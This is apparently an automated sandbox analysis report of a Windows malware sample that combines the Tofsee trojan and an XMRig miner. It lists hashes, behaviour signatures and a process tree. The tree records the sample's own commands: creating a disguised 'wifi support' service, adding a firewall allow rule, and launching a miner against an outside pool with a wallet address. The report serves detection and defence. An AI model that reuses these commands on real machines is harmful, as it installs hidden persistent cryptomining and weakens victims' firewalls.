Overview

overview

10

Static

static

supvobl.bin.exe

windows7_x64

10

supvobl.bin.exe

windows10_x64

10

Resubmissions

01-02-2021 14:02

210201-771fzecnc2 10

01-02-2021 13:56

210201-vkzvf8gj2n 10

Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    01-02-2021 14:02

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General

  • Target

    supvobl.bin.exe

  • Size

    12.5MB

  • MD5

    be286c784044379ca9a6ca6e7211a29f

  • SHA1

    bf8010a0e4b7ae88095bd9ee303707f4c0da549e

  • SHA256

    d05cd710559cb6a23a84f44bfe88b91582862c7d70134cf71807ae0c49964993

  • SHA512

    862e1beffa2cd58cd606a9edf2be79a03ca4a93f2edd6528e91eed2f68ad889e2e76dd43f164cd8f7eb02567504cbcf9581f730177f841a3e5a0298b48674b13

Score
10/10
tofseexmrigevasionminerpersistenceransomwaretrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    ransomware
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 23 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ipszxsic\
      2⤵
        PID:1528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\okcczonb.exe" C:\Windows\SysWOW64\ipszxsic\
        2⤵
          PID:1228
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ipszxsic binPath= "C:\Windows\SysWOW64\ipszxsic\okcczonb.exe /d\"C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:904
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ipszxsic "wifi internet conection"
            2⤵
              PID:1016
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ipszxsic
              2⤵
                PID:960
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1312
              • C:\Windows\SysWOW64\ipszxsic\okcczonb.exe
                C:\Windows\SysWOW64\ipszxsic\okcczonb.exe /d"C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1464
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1300
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1288
              • C:\Windows\system32\taskmgr.exe
                "C:\Windows\system32\taskmgr.exe" /4
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:996

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\okcczonb.exe
                MD5

                ef7fa31a3aec380f3105feef154bedd7

                SHA1

                2fc1a1acae63c305bf61503763c15f462b4768d3

                SHA256

                8bfe76564a98f39f1cb7e2e9834e0891147622afdff57a93647d3c9176147dd6

                SHA512

                4e601b0beabdccd6de585df98e27c3114d407488f93d3362268f34d75679ef14011b09a11b4bce8ee8a08781c7130f59461bb928debfda9f39679594c759537e

                Download Submit
              • C:\Windows\SysWOW64\ipszxsic\okcczonb.exe
                MD5

                ef7fa31a3aec380f3105feef154bedd7

                SHA1

                2fc1a1acae63c305bf61503763c15f462b4768d3

                SHA256

                8bfe76564a98f39f1cb7e2e9834e0891147622afdff57a93647d3c9176147dd6

                SHA512

                4e601b0beabdccd6de585df98e27c3114d407488f93d3362268f34d75679ef14011b09a11b4bce8ee8a08781c7130f59461bb928debfda9f39679594c759537e

                Download Submit
              • memory/904-10-0x0000000000000000-mapping.dmp
                Download
              • memory/960-12-0x0000000000000000-mapping.dmp
                Download
              • memory/996-30-0x000007FEFBD61000-0x000007FEFBD63000-memory.dmp
                Filesize

                8KB

                Download
              • memory/1016-11-0x0000000000000000-mapping.dmp
                Download
              • memory/1228-8-0x0000000000000000-mapping.dmp
                Download
              • memory/1288-29-0x00000000002D259C-mapping.dmp
                Download
              • memory/1288-27-0x0000000000240000-0x0000000000331000-memory.dmp
                Filesize

                964KB

                Download
              • memory/1300-17-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1300-26-0x0000000000150000-0x0000000000160000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1300-24-0x0000000001D60000-0x0000000001F6F000-memory.dmp
                Filesize

                2.1MB

                Download
              • memory/1300-18-0x0000000000089A6B-mapping.dmp
                Download
              • memory/1300-25-0x0000000000140000-0x0000000000146000-memory.dmp
                Filesize

                24KB

                Download
              • memory/1312-16-0x0000000000000000-mapping.dmp
                Download
              • memory/1464-14-0x0000000003040000-0x0000000003051000-memory.dmp
                Filesize

                68KB

                Download
              • memory/1528-4-0x0000000000000000-mapping.dmp
                Download
              • memory/1732-2-0x0000000002F60000-0x0000000002F71000-memory.dmp
                Filesize

                68KB

                Download
              • memory/1732-6-0x0000000000020000-0x0000000000033000-memory.dmp
                Filesize

                76KB

                Download
              • memory/1732-7-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1732-3-0x0000000075AE1000-0x0000000075AE3000-memory.dmp
                Filesize

                8KB

                Download